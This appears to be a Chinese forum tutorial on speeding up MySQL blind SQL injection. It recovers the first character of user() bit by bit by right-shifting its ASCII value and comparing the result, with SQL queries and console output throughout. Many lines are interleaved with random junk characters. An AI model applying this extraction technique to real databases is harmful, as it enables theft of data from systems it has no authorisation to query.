关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
  R9 O5 @* ~, @5 m# J. e. O
/ ~! _! _( B5 j; F0 B3 a' {7 m
6 d& c: n( U+ l5 d5 P* }* ]
下面将以查询mysql数据库当中user()的第一位为例:



ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)



首先执行如下sql语句:

2 C/ k+ g( y& ?6 ~0 I

1 x8 Y" X9 V0 \: Q& imysql> select (ascii((substr(user(),1,1))) >> 7)=0;

' i) P" s# e; H7 U8 _! e

我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
! Q! O  S# _4 D( {; C


6 _+ P4 H: T+ E- g第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
: N9 a; K" J) m
0 u/ B$ b8 m/ R9 s5 G& c* I

如果运算结果为1,说明第一位为0,不为1
: k8 V' U. l  T, Q+ x6 d/ ^$ ^

  H8 s) R7 D- U9 [" A# g
+————————————–+
) i9 Q' S: T; w: i; ^
| (ascii((substr(user(),1,1))) >> 7)=0 |

+ i( g9 p) ~/ [( |: D1 M+————————————–+
3 q, m9 J( f& R5 t* X$ U
: {3 b6 T. P) C0 a0 F! e# g| 1 |

6 g; P( x* ?2 a* j# m5 l4 T# W+————————————–+

  F/ K( M1 G! s3 U( J$ s2 Y1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0

* j$ w3 k" m4 N$ _  |/ p" ?2 m7 M
& x) {, F9 ]7 B6 w9 z2 ~2 m
第二次我们来做6次右偏移来确定前两位
6 K+ Y8 @& ^& X
5 ?# J* S. i6 P& X) }2 G
9 q; ~4 Q: e& v. O: s. G3 a, F
前两位可能是01或00,即依然可以与0做比较,
+ W0 F: {0 P, q8 u
" e( p8 w1 _( O/ Q5 fmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
; x" m) w8 {% [# v' J1 a1 a
+————————————–+
1 [3 @8 B* S; o+ K
- `. T  y4 k2 ]# P| (ascii((substr(user(),1,1))) >> 6)=0 |
) Y" A. ]. V' ^" L
, P- q, t+ l( \% J" B/ J+————————————–+

| 0 |

. [+ o9 n' f3 D$ ?" G$ b9 f+————————————–+

1 row in set (0.00 sec)
( p; y" ?) x! D- z) m

6 N2 u* x+ ~2 J4 o
. O1 Z  L# X+ N& W+ C# T1 _# b' ?结果为0,即第二位为1


- J, g! m: `8 x& U
开始猜测前三位为010或011



9 w. H( M' b* H$ B3 ]6 `让我们看看010和011的ascii码是多少


) n/ A2 H% O: E. j' i- v
分别查询select b’011′ select b’010′
2 {& B8 q3 j6 S/ M$ n


( Z+ c7 G9 k7 {( |+ w获得结果 010 = 2 011 = 3



执行如下sql:


8 ?* _5 {; @7 d3 G
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

0 _' |9 g& n0 H7 V, W" O$ \+————————————–+
& x9 I( Z+ |7 }) ]
| (ascii((substr(user(),1,1))) >> 5)=2 |

6 K& `2 X! L" O; ]5 r( b+————————————–+

8 w/ |8 ?, m# I| 0 |

+————————————–+

即前三位不为010,而是011
. F6 E( I- ]) U& g


6 d0 y0 y5 [3 O6 I直到获得最后一位

! B/ b0 A  i' i3 ~
  X7 O: K( X; o( a0 R- }
/ \3 F4 e1 V5 j# s/ \最终结果为:01110010
/ c! W) j( z* Q! e


转换一下:
4 G! H5 E0 T* ?1 I8 k: e2 Y
" z0 C7 c# @- K2 |

2 Q" ]. ]0 h/ lselect b’01110010′



查询结果

' [8 c' `0 Y4 a; H* D1 `' O& S& w1 D

7 j7 D! t2 `: A! y+ F$ P+————-+
; M4 _* j' C$ [9 `! N6 A
| b’01110010′ |
7 q" Q" Q6 I5 n
+————-+

| r |

+————-+
. K: {) k) J* |) V4 p4 u) M8 n
! v& f; y9 ]2 V* p, a1 row in set (0.00 sec)

8 s% G. q# j8 F0 Q- J

; r( [  @/ j/ F( b3 w# z4 T这样我们就获得了user()的第一位.其它位依此类推

' l. o4 `  [, H- J- n! j  l